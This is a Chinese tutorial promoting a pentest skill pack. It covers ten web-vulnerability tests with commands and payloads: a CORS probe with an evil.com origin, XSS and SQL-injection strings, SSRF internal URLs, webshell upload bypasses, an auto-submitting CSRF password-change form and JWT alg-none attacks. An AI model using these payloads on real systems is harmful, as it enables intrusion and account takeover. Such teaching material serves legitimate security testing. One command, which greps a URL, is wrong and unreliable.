recon-skills实战:10个必学的Web漏洞检测技术(CORS/XSS/SQLi全涵盖)
【免费下载链接】recon-skillsRecon & pentest skill pack. CORS, XSS, SQLi, SSRF, RCE, WordPress, MCP, cloud, subdomain takeover, and more. Field-tested. MIT. Full write-up at hiago.sh项目地址: https://gitcode.com/gh_mirrors/re/recon-skills
recon-skills是一个全面的Web漏洞检测技能包,涵盖了CORS、XSS、SQLi、SSRF、RCE等多种常见漏洞的检测方法和实战技巧。本文将介绍10个必学的Web漏洞检测技术,帮助新手和普通用户快速掌握Web安全测试的核心技能。
1. CORS漏洞检测:跨域资源共享安全测试
什么是CORS漏洞?
跨域资源共享(CORS)漏洞允许攻击者从恶意网站读取受害者的敏感数据。只有当攻击者控制的源能够执行带凭据的跨域读取敏感数据,并且能在浏览器中证明这一点时,CORS漏洞才被视为高危。
关键检测点
- 反射任意源+凭据:服务器回显
Origin头并设置Access-Control-Allow-Credentials: true - Null源信任:
Access-Control-Allow-Origin: null+Access-Control-Allow-Credentials: true - 子域名正则绕过:检查信任源正则表达式的解析缺陷,如缺少结束锚点
$或未转义点.
检测方法
# 探测API端点的CORS头 while read url; do result=$(curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "$url" \ -H "Origin: https://evil.com" \ -H "Cookie: $SESSION_COOKIE" | grep -i "access-control") [ -n "$result" ] && echo "=== $url ===" && echo "$result" done < recon/$TARGET/api-endpoints.txt验证技巧
CORS漏洞必须在真实浏览器中验证,因为curl不会强制执行CORS策略。可以使用简单的HTML页面测试:
<!doctype html><body><pre id="out"></pre> <script> fetch("https://TARGET/api/me", {credentials: "include"}) .then(r => r.text()) .then(d => document.getElementById("out").innerText = d) .catch(e => document.getElementById("out").innerText = "BLOCKED: " + e); </script></body>相关资源:redteam/hunt-cors/SKILL.md
2. XSS漏洞检测:跨站脚本攻击测试
什么是XSS漏洞?
跨站脚本(XSS)漏洞允许攻击者在受害者的浏览器中执行恶意JavaScript代码。现代框架默认会转义文本,因此必须验证漏洞是否存在于可利用的上下文中。
关键检测点
- React/JSX:仅在使用
dangerouslySetInnerHTML或refs上的innerHTML时可能存在XSS - Vue:仅在使用
v-html指令时可能存在XSS - Angular:仅在使用
[innerHTML]绑定时可能存在XSS - 普通HTML/JS:使用
innerHTML、document.write()或eval()时容易存在XSS
检测方法
# 在JS文件中搜索危险的渲染模式 grep -rEn 'dangerouslySetInnerHTML|innerHTML|outerHTML|v-html|\[innerHTML\]|\{@html\}|insertAdjacentHTML|document\.write\(|eval\(' /tmp/target_js/常见payload
<!-- 基本上下文探测 --> aaa"bbb'ccc<ddd>eee`fff <!-- 属性上下文绕过 --> " onmouseover="alert(1) ' onmouseover='alert(1) `onmouseover=alert(1) <!-- SVG-based (CSP绕过) --> <svg xmlns="http://www.w3.org/2000/svg"> <script>alert(document.domain)</script> </svg>相关资源:redteam/hunt-xss/SKILL.md
3. SQL注入检测:数据库安全测试
SQL注入是一种常见的Web安全漏洞,允许攻击者通过在用户输入中插入恶意SQL代码来操纵数据库。检测SQL注入需要测试各种输入点,包括URL参数、表单字段和API请求。
关键检测点
- URL参数(如
id=1) - 表单提交数据
- API请求体
- Cookie值
基本检测方法
使用简单的SQL注入测试字符串,观察响应变化:
' OR '1'='1' OR 1=1--admin' --
高级检测技巧
- 使用时间延迟测试(如
'; SLEEP(5)--)检测盲注 - 使用布尔测试(如
' AND 1=1--和' AND 1=2--)比较响应差异 - 使用错误消息提取(如
' AND 1=CONVERT(int, (SELECT @@version))--)
相关资源:ignored/research/huntbook-sqli.md
4. SSRF漏洞检测:服务器端请求伪造测试
服务器端请求伪造(SSRF)允许攻击者诱导服务器发起恶意请求。这种漏洞通常存在于需要从URL获取数据的功能中。
关键检测点
- URL输入字段
- 文件上传功能中的远程URL选项
- 图片/资源加载功能
- API集成点
检测方法
尝试让服务器访问内部资源:
http://localhost:8080http://127.0.0.1:22http://[::1]:3306
盲SSRF检测
使用外部OOB(Out-of-Band)服务检测盲SSRF:
http://your-oob-domain.comhttp://your-collaborator.oastify.com
相关资源:ignored/research/huntbook-ssrf.md
5. 子域名接管检测:域名安全测试
子域名接管漏洞发生在子域名指向的资源被删除或不再使用时,攻击者可以注册该资源并接管子域名。
关键检测点
- 检查CNAME记录指向的外部服务
- 查找过期的云服务实例(如Heroku、GitHub Pages、AWS S3)
- 检查DNS配置错误
检测方法
# 使用dig命令检查CNAME记录 dig CNAME subdomain.target.com # 使用nslookup检查DNS记录 nslookup -type=CNAME subdomain.target.com常见易受攻击的服务
- GitHub Pages
- Heroku
- AWS S3
- Firebase
- Shopify
- Tumblr
相关资源:recon/subdomain-takeover-hunt/SKILL.md
6. WordPress漏洞检测:CMS安全测试
WordPress是最流行的CMS之一,因此成为攻击目标。检测WordPress漏洞需要关注核心、插件和主题的安全问题。
关键检测点
- WordPress版本暴露(如readme.html、generator meta标签)
- 插件和主题信息泄露
- 登录页面和XML-RPC接口
- REST API端点
检测方法
# 检查WordPress版本 curl -s http://target.com/readme.html | grep "Version" # 枚举已安装插件 curl -s http://target.com/wp-content/plugins/ | grep href # 测试REST API curl -s http://target.com/wp-json/wp/v2/users常见WordPress漏洞
- 插件和主题漏洞
- XML-RPC滥用
- REST API权限问题
- 配置错误
相关资源:recon/wordpress-plugin-hunt/SKILL.md
7. JWT安全检测:JSON Web Token测试
JSON Web Token(JWT)是一种用于身份验证的令牌格式,如果实现不当,可能导致严重的安全问题。
关键检测点
- 签名验证绕过
- 算法混淆攻击
- 敏感信息泄露
- 过期时间设置不当
检测方法
# 使用jwt_tool检查JWT python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... -T # 尝试修改签名算法为none python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... -X a常见JWT漏洞
- 使用弱密钥
- 未验证签名
- 算法切换攻击
- 敏感数据存储在JWT中
相关资源:recon/jwt-attack/SKILL.md
8. 文件上传漏洞检测:文件安全测试
文件上传漏洞允许攻击者上传恶意文件到服务器,可能导致远程代码执行。
关键检测点
- 文件类型验证
- 文件内容检查
- 上传路径控制
- 文件权限设置
检测方法
尝试上传不同类型的恶意文件:
- 带有PHP代码的.jpg文件(如
shell.jpg.php) - 包含JavaScript的SVG文件
- 伪装成图片的WebShell
绕过技巧
- 修改文件扩展名(如
shell.php改为shell.php.jpg) - 使用路径遍历(如
../shell.php) - 修改Content-Type头
- 利用文件解析漏洞(如IIS的解析漏洞)
相关资源:redteam/hunt-file-upload/SKILL.md
9. CSRF漏洞检测:跨站请求伪造测试
跨站请求伪造(CSRF)漏洞允许攻击者诱导受害者在已认证的情况下执行非预期操作。
关键检测点
- 状态改变操作(如更改密码、提交表单)
- 缺少CSRF令牌
- 令牌验证不当
- SameSite Cookie设置
检测方法
# 检查表单是否包含CSRF令牌 grep -r "csrf" --include="*.html" http://target.com # 检查Cookie的SameSite属性 curl -I http://target.com | grep -i "set-cookie" | grep -i "samesite"利用技巧
创建包含恶意请求的HTML页面,诱导受害者访问:
<form action="https://target.com/change-password" method="POST"> <input type="hidden" name="new_password" value="attacker_password"> <input type="submit" value="Click here"> </form> <script>document.forms[0].submit();</script>相关资源:redteam/hunt-csrf/SKILL.md
10. 云服务配置错误检测:云安全测试
随着云服务的普及,配置错误成为常见的安全问题,可能导致敏感数据泄露。
关键检测点
- S3存储桶权限
- IAM策略配置
- 数据库访问控制
- 云函数权限
检测方法
# 检查公开的S3存储桶 aws s3 ls s3://target-bucket --no-sign-request # 使用专用工具扫描云服务配置 ./cloud_enum.py --domain target.com常见云配置错误
- 公开可写的S3存储桶
- 过度宽松的IAM策略
- 未受保护的数据库实例
- 敏感信息存储在环境变量中
相关资源:redteam/hunt-cloud-misconfig/SKILL.md
总结
Web漏洞检测是网络安全的重要组成部分。通过掌握这10个必学的Web漏洞检测技术,你可以系统地评估和提升Web应用的安全性。recon-skills项目提供了丰富的实战资源,建议深入学习每个漏洞的详细检测方法和防御策略。
要开始使用recon-skills,只需克隆仓库:
git clone https://gitcode.com/gh_mirrors/re/recon-skills通过不断实践和学习,你将能够更有效地发现和报告Web应用中的安全漏洞,提高整体安全水平。
【免费下载链接】recon-skillsRecon & pentest skill pack. CORS, XSS, SQLi, SSRF, RCE, WordPress, MCP, cloud, subdomain takeover, and more. Field-tested. MIT. Full write-up at hiago.sh项目地址: https://gitcode.com/gh_mirrors/re/recon-skills
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考